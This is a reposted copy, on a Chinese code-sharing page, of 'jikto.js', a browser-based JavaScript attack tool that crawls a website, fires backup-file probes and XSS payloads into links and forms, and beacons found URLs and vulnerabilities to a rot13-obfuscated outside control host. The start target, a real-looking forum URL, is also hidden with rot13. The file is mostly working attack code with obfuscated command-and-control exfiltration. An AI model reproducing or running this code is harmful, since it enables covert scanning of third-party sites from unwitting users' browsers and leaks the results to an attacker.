zoukankan
html css js c++ java
[转] 貌似不完整的 jikto.js
//
------------------------------------------------------------------------------------ Analyzer
//
------------------------------------------------------------------------------------ Analyzer
//
------------------------------------------------------------------------------------ Analyzer
function
linkIsGood(l)
{
var
lower
=
l.toLowerCase().substring(
0
,
4
);
//
this is stupid (could false pos), but effective
if
(lower
==
"
java
"
||
lower
==
"
mail
"
)
{
return
false
;
}
var
tmpU
=
Url.resolveRelativeLink(currRequest.url, l);
//
do checks here
if
(
!
fileExtAllowed(tmpU))
{
return
false
;
}
if
(tmpU.hostname
!=
startUrl.hostname)
{
return
false
;
}
if
(tmpU.port
!=
startUrl.port)
{
return
false
;
}
return
true
;
}
function
extractHREFsAsRequests(txt)
{
var
pattern
=
/
href\s
*
\
=
\s
*
([
"
'])([^'
"
]
*
)\
1
/
gi;
var
links
=
new
Array();
var
result;
while
( (result
=
pattern.exec(txt))
!=
null
)
{
links.push(result[
2
]);
}
//
refine what we RegExed out
var
requests
=
new
Array();
var
counter
=
0
;
var
linklen
=
links.length;
for
(; counter
<
linklen; counter
++
)
{
//
clean out the prefix
links[counter]
=
links[counter].replace(prefix,
""
);
if
(linkIsGood(links[counter]))
{
requests.push( Request.fromUrl( Url.resolveRelativeLink(currRequest.url, links[counter]) ));
}
}
return
requests;
}
function
fileExtAllowed(u)
{
for
(
var
i
=
0
, bfl
=
badFiles.length; i
<
bfl; i
++
)
{
if
(u.fileext.toLowerCase()
==
badFiles[i])
{
return
false
;
}
}
return
true
;
}
function
tagParser(text)
{
var
PRENAME
=
0
;
var
INNAME
=
1
;
var
INPREVALUE
=
2
;
var
INVALUE
=
3
;
var
attribs
=
new
Object();
var
curr
=
0
;
var
len
=
text.length;
var
c
=
""
;
var
state
=
PRENAME;
var
buff
=
""
;
var
name
=
""
;
var
quoteChar
=
""
;
while
(curr
<
text.length)
{
c
=
text.charAt(curr);
switch
(state)
{
case
PRENAME:
switch
(c)
{
case
' ':
case
'\t':
case
'\r':
case
'\n':
curr
++
;
break
;
default
:
buff
=
c;
curr
++
;
state
=
INNAME;
break
;
}
break
;
case
INNAME:
switch
(c)
{
case
'
=
':
//
= so name is done
name
=
trim(buff).toLowerCase();
buff
=
""
;
quoteChar
=
""
;
curr
++
;
state
=
INPREVALUE;
break
;
default
:
buff
+=
c;
curr
++
;
break
;
}
break
;
case
INPREVALUE:
switch
(c)
{
case
' ':
case
'\t':
//
ignore it
curr
++
;
break
;
case
"
\'
"
:
case
"
\
""
:
quoteChar = c;
curr++;
state = INVALUE;
break;
default:
//anything is a value
quoteChar =
""
;
buff += c;
curr++;
state = INVALUE;
break;
}
break;
case INVALUE:
switch(c) {
case quoteChar:
//all done!
attribs[name] = buff;
state = PRENAME;
curr++;
buff =
""
;
break;
case ' ':
case '\t':
case '\r':
case '\n':
if(quoteChar ==
""
) {
attribs[name] = buff;
state = PRENAME;
buff =
""
;
}
curr++;
break;
default:
buff += c;
curr++;
break;
}
break;
} //end switch
} //end while
var c = 10;
return attribs;
}
function extractFormsAsRequests(txt) {
var requests = new Array();
var lowertxt = txt.toLowerCase();
//RegEx and results for FORM search
var pattern = /<form\s+([^>]+)/gi;
var result;
while( (result = pattern.exec(txt)) != null) {
//parse out attributes for the form tag
currForm = tagParser(result[1]);
//setup something for the inputs
currForm.inputs = new Array();
//find the
"
end
"
tag
var endp = lowertxt.indexOf(
"
</
form
"
, result.index+1);
//grab all that text
"
inside
"
thos form
var inner = txt.substring(result.index, endp);
//grab all the inputs in the form
var pattern2 = /<input\s+([^>]+)/gi;
var result2;
while( (result2 = pattern2.exec(inner)) != null) {
//parse out the attributes
currForm.inputs[currForm.inputs.length] = tagParser(result2[1]);
}
//needs some inputs and an action
if(currForm.inputs.length > 0 && currForm.action != undefined) {
if(linkIsGood(currForm.action)) {
var u = Url.resolveRelativeLink(currRequest.url, currForm.action);
if(currForm.method != undefined && currForm.method.toLowerCase() ==
"
post
"
) {
var req = Request.fromUrl(u);
req.method =
"
POST
"
;
req.data = buildParamString(currForm.inputs);
requests[requests.length] = req;
} else {
u.queryParams = buildParamString(currForm.inputs);
requests[requests.length] = Request.fromUrl(u);
}
}
}
}
return requests;
}
function buildParamString(inps) {
var ret = new Array();
var seen = new Object();
for(var i =0; i < inps.length; i++) {
if(inps[i].name != undefined && seen[inps[i].name] == undefined) {
seen[inps[i].name] = true;
if(inps[i].value != undefined) {
ret[ret.length] = new NVPair(inps[i].name, inps[i].value);
} else {
ret[ret.length] = new NVPair(inps[i].name,
"
admin
"
);
}
}
}
return ret;
}
//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib
function generateBackupAttacks(request) {
var requests = new Array();
var newreq = new cloneObject(request);
newreq.url.filename +=
"
.bak
"
;
newreq.url.queryParams = new Array();
newreq.data =
""
;
newreq.method =
"
GET
"
;
newreq.origin =
"
audit
"
;
newreq.title =
"
Backup File Detected
!
"
;
newreq.sev = 50;
newreq.regex = /HTTP\/1.1\s200\sOK/i;
requests[requests.length] = newreq;
var newreq = new cloneObject(request);
newreq.url.filename +=
"
.old
"
;
newreq.url.queryParams = new Array();
newreq.data =
""
;
newreq.method =
"
GET
"
;
newreq.origin =
"
audit
"
;
newreq.title =
"
Backup File Detected
!
"
;
newreq.sev = 50;
newreq.regex = /HTTP\/1.1\s200\sOK/i;
requests[requests.length] = newreq;
return requests;
}
function generatePPASSAttacks(request) {
var requests = new Array();
if(request.method ==
"
GET
"
&& request.url.queryParams.length > 0) {
var newreq = new cloneObject(request);
newreq.url.queryParams = new Array();
for(var xxx=0; xxx < request.url.queryParams.length; xxx++) {
newreq.url.queryParams[xxx] = new NVPair(request.url.queryParams[xxx].name,
"
<
script
>
alert('xss')
</
script
>
"
);
}
newreq.origin =
"
audit
"
;
newreq.title =
"
Cross Site Scripting
"
;
newreq.sev = 100;
newreq.regex = /script/i;
requests[requests.length] = newreq;
} else if(request.method ==
"
POST
"
) {
var t = request.data.length > 0;
var newreq = new cloneObject(request);
newreq.url.queryParams = new Array();
newreq.data = new Array();
newreq.data[0] = new NVPair(
"
admin
"
,
"
<
script
>
alert('xss')
</
script
>
"
);
newreq.data[1] = new NVPair(
"
password
"
,
"
<
script
>
alert('xss')
</
script
>
"
);
newreq.data[2] = new NVPair(
"
graphicOption
"
,
"
<
script
>
alert('xss')
</
script
>
"
);
newreq.origin =
"
audit
"
;
newreq.title =
"
Cross Site Scripting
"
;
newreq.sev = 100;
newreq.regex = /script/i;
requests[requests.length] = newreq;
}
return requests;
}
//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
var currRequest = null;
var currResponse = null;
//startURL!
var GUIURL = rot13(
"
uggc:
//
jjj.cragrfg.vg/wvxgb/pbageby.gkg"); //http://www.pentest.it/jikto/control.txt //http://localhost/JiktoControl/Collect.aspx?type=
//
uggc://ybpnyubfg/WvxgbPbageby/Pbyyrpg.nfck?glcr=
var
SLASH
=
String.fromCharCode(
47
);
//
prefix for our requests
var
prefix
=
window.location.pathname.substr(
0
,window.location.pathname.indexOf(
"
http:
"
,
7
))
//
image extensions
var
badFiles
=
[
"
jpg
"
,
"
jpeg
"
,
"
gif
"
,
"
png
"
,
"
ico
"
,
"
psd
"
,
"
xcf
"
,
"
xmb
"
,
"
svg
"
,
"
wmv
"
,
"
bmp
"
,
"
pdf
"
,
"
ps
"
,
"
doc
"
,
"
dot
"
,
"
xls
"
,
"
pot
"
,
"
ppt
"
,
"
avi
"
,
"
mpeg
"
,
"
mpg
"
,
"
asf
"
,
"
mov
"
,
"
wmv
"
,
"
rm
"
,
"
mp2
"
,
"
mp3
"
,
"
wma
"
,
"
wav
"
,
"
aiff
"
,
"
aif
"
,
"
mid
"
,
"
midi
"
,
"
mp4
"
,
"
au
"
,
"
ra
"
,
"
exe
"
,
"
pif
"
,
"
bat
"
,
"
msi
"
,
"
swf
"
,
"
class
"
,
"
sh
"
,
"
zip
"
,
"
gz
"
,
"
tar
"
,
"
rar
"
,
"
z
"
,
"
jar
"
,
"
cab
"
,
"
rpm
"
];
//
our requestor!
var
xhr
=
new
XMLHttpRequest();
//
------------------------------------------------------------------------------------ GUI Interface
//
------------------------------------------------------------------------------------ GUI Interface
//
------------------------------------------------------------------------------------ GUI Interface
//
alert("GUI");
function
reportURL(method, url)
{
var
i
=
new
Image();
i.src
=
GUIURL
+
"
1&url=
"
+
escape(url)
+
"
&method=
"
+
escape(method);
}
function
reportVuln(method, url, sev, title, req, resp)
{
var
i
=
new
Image();
i.src
=
GUIURL
+
"
2&url=
"
+
escape(url)
+
"
&method=
"
+
escape(method)
+
"
&sev=
"
+
escape(sev)
+
"
&title=
"
+
escape(title)
+
"
&req=
"
+
escape(req)
+
"
&resp=
"
+
escape(resp);
}
//
------------------------------------------------------------------------------------ Misc Funcs
//
------------------------------------------------------------------------------------ Misc Funcs
//
------------------------------------------------------------------------------------ Misc Funcs
function
cloneObject(what)
{
for
(
var
i
in
what)
{
if
(
typeof
(what[i])
==
"
object
"
)
{
this
[i]
=
new
cloneObject(what[i]);
}
else
{
this
[i]
=
what[i];
}
}
}
function
rot13(txt)
{
var
ret
=
""
var
len
=
txt.length;
for
(
var
i
=
0
; i
<
len; i
++
)
{
var
b
=
txt.charCodeAt(i);
if
( ((b
>
64
)
&&
(b
<
78
))
||
((b
>
96
)
&&
(b
<
110
)) )
{
b
+=
13
;
}
else
if
( ((b
>
77
)
&&
(b
<
91
))
||
((b
>
109
)
&&
(b
<
123
)) )
{
b
-=
13
;
}
ret
+=
String.fromCharCode(b);
}
return
ret;
}
function
trim(s)
{
return
s.replace(
/^
\s
*
(\S
*
(\s
+
\S
+
)
*
)\s
*
$
/
,
"
$1
"
);
}
//
------------------------------------------------------------------------------------ Request
//
------------------------------------------------------------------------------------ Request
//
------------------------------------------------------------------------------------ Request
function
Request()
{
this
.url
=
null
;
this
.method
=
""
;
this
.origin
=
"
crawl
"
;
this
.data
=
""
;
this
.title
=
"
xx
"
;
this
.regex
=
""
;
this
.sev
=
0
;
}
Request.fromUrl
=
function
(u)
{
var
ret
=
new
Request();
ret.url
=
u;
ret.method
=
"
GET
"
;
ret.origin
=
"
crawl
"
;
return
ret;
}
Request.prototype.getResource
=
function
()
{
return
this
.url.toString();
}
Request.prototype.toString
=
function
()
{
return
String.concat(
this
.method,
"
"
,
this
.getResource(),
"
HTTP/1.1
"
);
}
//
------------------------------------------------------------------------------------ Response
//
------------------------------------------------------------------------------------ Response
//
------------------------------------------------------------------------------------ Response
//
create a response object from a completely returned XHR obj!
function
Response(x)
{
this
.status
=
x.status;
this
.statusText
=
x.statusText;
this
.is404
=
false
;
this
.headersString
=
x.getAllResponseHeaders();
//
extract the headers into a hash table
this
.headers
=
new
Object();
var
tmp
=
this
.headersString.split(
"
\n
"
);
var
j;
var
k
=
"
:
"
;
for
(
var
i
=
0
; i
<
tmp.length; i
++
)
{
j
=
tmp[i].indexOf(k);
if
(j
>
0
)
{
this
.headers[tmp[i].substring(
0
, j)]
=
tmp[i].substring(j
+
2
, tmp[i].length);
}
}
this
.body
=
x.responseText;
return
this
;
}
function
Response_toString()
{
var
s
=
""
;
var
i;
s
=
String.concat(s,
"
HTTP/1.1
"
,
this
.status,
"
"
,
this
.statusText,
"
\n
"
);
for
(i
in
this
.headers)
{
s
=
String.concat(s, i,
"
:
"
,
this
.headers[i],
"
\n
"
);
}
s
=
String.concat(s,
this
.data);
return
s;
}
Response.prototype.toString
=
Response_toString;
//
------------------------------------------------------------------------------------ Scanner
//
------------------------------------------------------------------------------------ Scanner
//
------------------------------------------------------------------------------------ Scanner
var
pending
=
new
Object();
var
pendingLen
=
0
;
var
visited
=
new
Object();
function
addRequest(r)
{
if
(r
!=
undefined)
{
if
(pending[r.toString()]
==
undefined)
{
if
(visited[r.toString()]
==
undefined)
{
pending[r.toString()]
=
r;
pendingLen
++
;
return
true
;
}
}
return
false
;
}
}
function
processResponse()
{
//
only if req shows "loaded"
if
(xhr.readyState
==
4
)
{
//
send reponse off
currResponse
=
new
Response(xhr);
if
(currResponse.status
==
200
)
{
reportURL(currRequest.method, currRequest.getResource());
}
var
requests
=
null
;
//
grab any requests from HREFs
requests
=
extractHREFsAsRequests(currResponse.body);
var
requests2
=
extractFormsAsRequests(currResponse.body);
if
(requests2.length
>
0
)
{
requests
=
requests.concat(requests2);
}
if
(requests.length
>
0
)
{
//
bubble up the GUI and add them (if needed)
for
(
var
i
=
0
; i
<
requests.length; i
++
)
{
addRequest(requests[i]);
//
================= Generate Attacks
requests2
=
generateBackupAttacks(requests[i]);
//
requests2 = (generatePPASSAttacks(requests[i]));
requests2
=
requests2.concat(generatePPASSAttacks(requests[i]));
if
(requests2.length
>
0
)
{
for
(
var
k
=
0
; k
<
requests2.length; k
++
)
{
addRequest(requests2[k]);
}
}
}
}
if
(xhr.responseText.indexOf(
"
xss
"
)
>
0
)
{
reportVuln(currRequest.method, currRequest.getResource(),
100
,
"
Cross Site Scripting
"
, currRequest.toString(), currResponse.toString());
}
//
==============score attacks here
if
(currRequest.origin
==
"
audit
"
)
{
if
(currResponse.toString().match(currRequest.regex))
{
reportVuln(currRequest.method, currRequest.getResource(), currRequest.sev, currRequest.title, currRequest.toString(), currResponse.toString());
}
}
sendNextRequest();
}
}
function
sendNextRequest()
{
if
(pendingLen
==
0
)
{
//
toGUI("Scan Complete!");
return
true
;
}
//
grab the first Request
for
(i
in
pending)
{
currRequest
=
pending[i];
break
;
}
//
remove it from the queue
delete
pending[currRequest.toString()];
pendingLen
--
;
//
add it to visited
visited[currRequest.toString()]
=
true
;
//
clear out the old response obj
currResponse
=
null
;
xhr
=
new
XMLHttpRequest();
var
data
=
""
;
//
register the handler function
xhr.onreadystatechange
=
processResponse;
xhr.open(currRequest.method, prefix
+
currRequest.getResource(),
true
);
if
(currRequest.method
==
"
POST
"
)
{
data
=
currRequest.data.join(
"
&
"
);
xhr.setRequestHeader(
"
Content-type
"
,
"
application/x-www-form-urlencoded
"
);
xhr.setRequestHeader(
"
Content-length
"
, data.length);
//
http.setRequestHeader("Connection", "close");
}
//
add our magic header
xhr.setRequestHeader('X
-
Hax0r', 'Acidus');
xhr.send(data);
}
//
------------------------------------------------------------------------------------ URL Object
//
------------------------------------------------------------------------------------ URL Object
//
------------------------------------------------------------------------------------ URL Object
function
NVPair(n, v)
{
this
.name
=
n;
this
.value
=
v;
return
this
;
}
NVPair.prototype.toString
=
function
()
{
return
String.concat(escape(
this
.name),
"
=
"
, escape(
this
.value));
}
function
setParamValue(name, value, ar)
{
for
(
var
yyy
in
ar.length)
{
if
(ar[yyy].name
!=
undefined)
{
if
(ar[yyy].name
==
name)
{
ar[yyy].value
=
value;
break
;
}
}
}
return
ar;
}
function
getParamArray(qs)
{
var
ret
=
new
Array();
var
nvp
=
qs.split(
"
&
"
);
for
(
var
i
=
0
; i
<
nvp.length; i
++
)
{
var
tmp
=
nvp[i].split(
"
=
"
);
if
(tmp.length
==
1
)
{
ret[ret.length]
=
new
NVPair(unescape(tmp[
0
]),
""
);
}
else
if
(tmp.length
==
2
)
{
ret[ret.length]
=
new
NVPair(unescape(tmp[
0
]), unescape(tmp[
1
]));
}
}
return
ret;
}
function
Url(url)
{
this
.protocol
=
""
;
this
.hostname
=
""
;
this
.port
=
""
;
this
.path
=
""
;
this
.filename
=
""
;
this
.fileext
=
""
;
this
.frag
=
""
;
this
.queryParams
=
new
Array();
if
(arguments.length
==
1
)
{
var
tmp;
var
rest;
//
grab the fraq
tmp
=
url.split(
"
#
"
);
rest
=
tmp[
0
];
this
.frag
=
(tmp.length
>
1
)
?
unescape(String.concat(
"
#
"
,tmp[
1
])) :
""
;
//
grab the query string
tmp
=
rest.split(
"
?
"
);
rest
=
tmp[
0
];
if
(tmp.length
>
1
)
{
this
.queryParams
=
getParamArray(tmp[
1
]);
}
//
grab the protocol
tmp
=
rest.split(
"
//
"
);
if
(tmp.length
>
1
)
{
tmp[
0
]
=
unescape(tmp[
0
]);
this
.protocol
=
tmp[
0
].substring(
0
,tmp[
0
].length
-
1
).toLowerCase();
rest
=
tmp[
1
];
}
else
{
//
alert("Invalid url \"" + url + "\"");
throw
"
Invalid URL
"
;
}
//
grab the host
tmp
=
rest.split(SLASH);
if
(tmp.length
>
1
)
{
//
get rid of hostname
this
.hostname
=
unescape(tmp.shift()).toLowerCase();
//
only 1 thing left, which is the filename
if
(tmp.length
==
1
)
{
this
.filename
=
unescape(tmp[
0
]);
this
.path
=
SLASH;
}
else
{
//
filename is at the end
this
.filename
=
unescape(tmp.pop());
//
recombine and add leading and trailing slashes
for
(
var
i
=
0
; i
<
tmp.length; i
++
)
{
tmp[i]
=
unescape(tmp[i]);
}
for
(
var
i
=
0
; i
<
tmp.length; i
++
)
{
if
(tmp[i]
==
"
.
"
)
{
tmp.splice(i,
1
);
i
=
i
-
1
;
}
else
if
(tmp[i]
==
"
..
"
)
{
if
(i
==
0
)
{
//
more /../ than directories
//
alert("Invalid url \"" + url + "\"");
throw
"
Invalid URL
"
;
}
tmp.splice(i
-
1
,
2
);
i
=
i
-
2
;
}
}
if
(tmp.length
>=
1
)
{
this
.path
=
String.concat(SLASH, tmp.join(SLASH), SLASH);
}
else
{
this
.path
=
SLASH;
}
}
}
else
{
this
.hostname
=
unescape(tmp[
0
]);
this
.path
=
SLASH;
}
//
grab the port
tmp
=
this
.hostname.split(
"
:
"
);
this
.hostname
=
tmp[
0
];
this
.port
=
(tmp.length
==
2
)
?
unescape(tmp[
1
]) :
""
;
//
be smart and fill in the port as needed
if
(
this
.port.length
==
0
)
{
if
(
this
.protocol
==
"
http
"
)
this
.port
=
"
80
"
;
else
this
.port
=
"
443
"
;
}
//
grab the filename extension
if
(
this
.filename.length
>
0
)
{
tmp
=
this
.filename.split(
"
.
"
);
this
.fileext
=
(tmp.length
>
1
)
?
tmp.pop() :
""
;
}
}
return
this
;
}
Url.prototype.addNV
=
function
(name, value)
{
this
.queryParams[
this
.queryParams.length]
=
new
NVPair(name, value);
}
function
Url_resolveRelativeLink(baseUrl, relativeLink)
{
if
(
typeof
(baseUrl)
==
"
string
"
)
{
baseUrl
=
new
Url(baseUrl);
}
//
is it relative?
if
(unescape(relativeLink).indexOf(
"
://
"
)
>
0
)
{
return
new
Url(relativeLink);
}
//
alert("BASE IS: " + baseUrl);
var
s;
//
set up our base
s
=
String.concat(baseUrl.protocol,
"
://
"
,
baseUrl.hostname,
(baseUrl.port.length
>
0
)
?
"
:
"
+
baseUrl.port :
""
);
if
(relativeLink.substring(
0
,
1
)
==
SLASH)
{
//
link is relative to site root, so directly concat
s
=
String.concat(s, relativeLink);
}
else
{
//
link is relative to current path
s
=
String.concat(s, baseUrl.path, relativeLink);
}
return
new
Url(s);
}
function
Url_toString()
{
return
String.concat(
this
.protocol,
"
://
"
,
this
.hostname,
(
this
.port.length
>
0
)
?
"
:
"
+
this
.port :
""
,
this
.path,
this
.filename,
(
this
.queryParams.length
>
0
)
?
"
?
"
+
this
.queryParams.join(
"
&
"
) :
""
,
this
.frag);
}
function
Url_toStringNoPath()
{
return
String.concat(
this
.protocol,
"
://
"
,
this
.hostname,
(
this
.port.length
>
0
)
?
"
:
"
+
this
.port :
""
);
}
Url.prototype.toString
=
Url_toString;
Url.prototype.toStringNoPath
=
Url_toStringNoPath;
Url.resolveRelativeLink
=
Url_resolveRelativeLink;
//
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//
var startUrlString = rot13("uggc://mreb.jronccfrphevgl.pbz/");
var
startUrlString
=
rot13(
"
uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc
"
);
//
http://blackhat-forums.com/phpBB2/index.php uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc
//
var startUrlString = rot13("");
var
startUrl
=
new
Url(startUrlString);
//
queue up first request
addRequest(Request.fromUrl(startUrl));
//
let 'er rip!
sendNextRequest();
查看全文
相关阅读:
rss相关资料(TODO)
chrome extension 开发
macos finder 创建smart folder
JDK 16都发布了,为什么我们要关心Java8
你真的了解索引吗(上)?|mysql 系列(6)
VARCHAR 最多存多少个字符?|mysql系列(3)
Ansible 快速入门
MySQL 中存储时间的最佳实践
没登录网页也能个性化推荐?一文详解浏览器指纹
私有化仓库的 GO 模块使用实践
原文地址:https://www.cnblogs.com/temptation/p/815024.html
最新文章
ECO ARM 编译 jar
linux 模糊目录下 查询内容 文件
mysql 删除重复记录
AES加密解密
点击超链接打开发送邮件软件 <a> Email
mybatis中传入基本类型参数,传入多个基本数据类型
IDEA将项目的pom添加到maven中
idea的项目中所有的文件全部变成了.java
MySQL ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)的真正原因
如何手动删除chrome浏览器中已储存输入框的文字记录
热门文章
一个不错的虚拟机文件格式转换工具
c#用HttpWebRequest出现“ 不支持请求的安全协议”的一个解决办法
csv 文件打开乱码,如何解决?(转)
记录一次多维数据集操作的要点
关键渲染路径 critical rendering path
异步加载CSS
macos paste plain text
shell operator EOF shell 操作符 << <<<
(1)提高操作效率的优化交互方式
北京市地铁网站
Copyright © 2011-2022 走看看